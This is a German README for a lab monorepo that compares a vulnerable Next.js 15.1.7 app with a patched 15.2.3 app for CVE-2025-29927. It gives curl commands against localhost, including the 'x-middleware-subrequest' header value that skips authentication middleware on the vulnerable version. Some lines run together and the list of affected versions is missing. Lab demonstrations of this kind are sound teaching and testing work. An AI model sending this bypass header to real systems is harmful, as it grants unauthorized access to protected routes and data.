
vulnerable-nextjs-14-CVE-2025-29927
Dieses Repository ist ein Monorepo-Projekt, das die CVE-2025-29927 Middleware-Schwachstelle mit Next.js Version 15.2.3 und Next.js Version 15.1.7 vergleicht.
CVE-2025-29927 ist eine in der Middleware von Next.js entdeckte Sicherheitslücke, die es ermöglicht, die Authentifizierungs-Middleware mithilfe des Headers x-middleware-subrequest zu umgehen.
Diese Schwachstelle betrifft die folgenden Versionen:
pnpm installpnpm dev/api/protected zugreifen, wird der Zugriff verweigert.$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # Anfällige Version
│ └── next15_2_3/ # Gepatchte Version
├── packages/
│ └── ui/ # Gemeinsame UI-Komponenten
└── README.md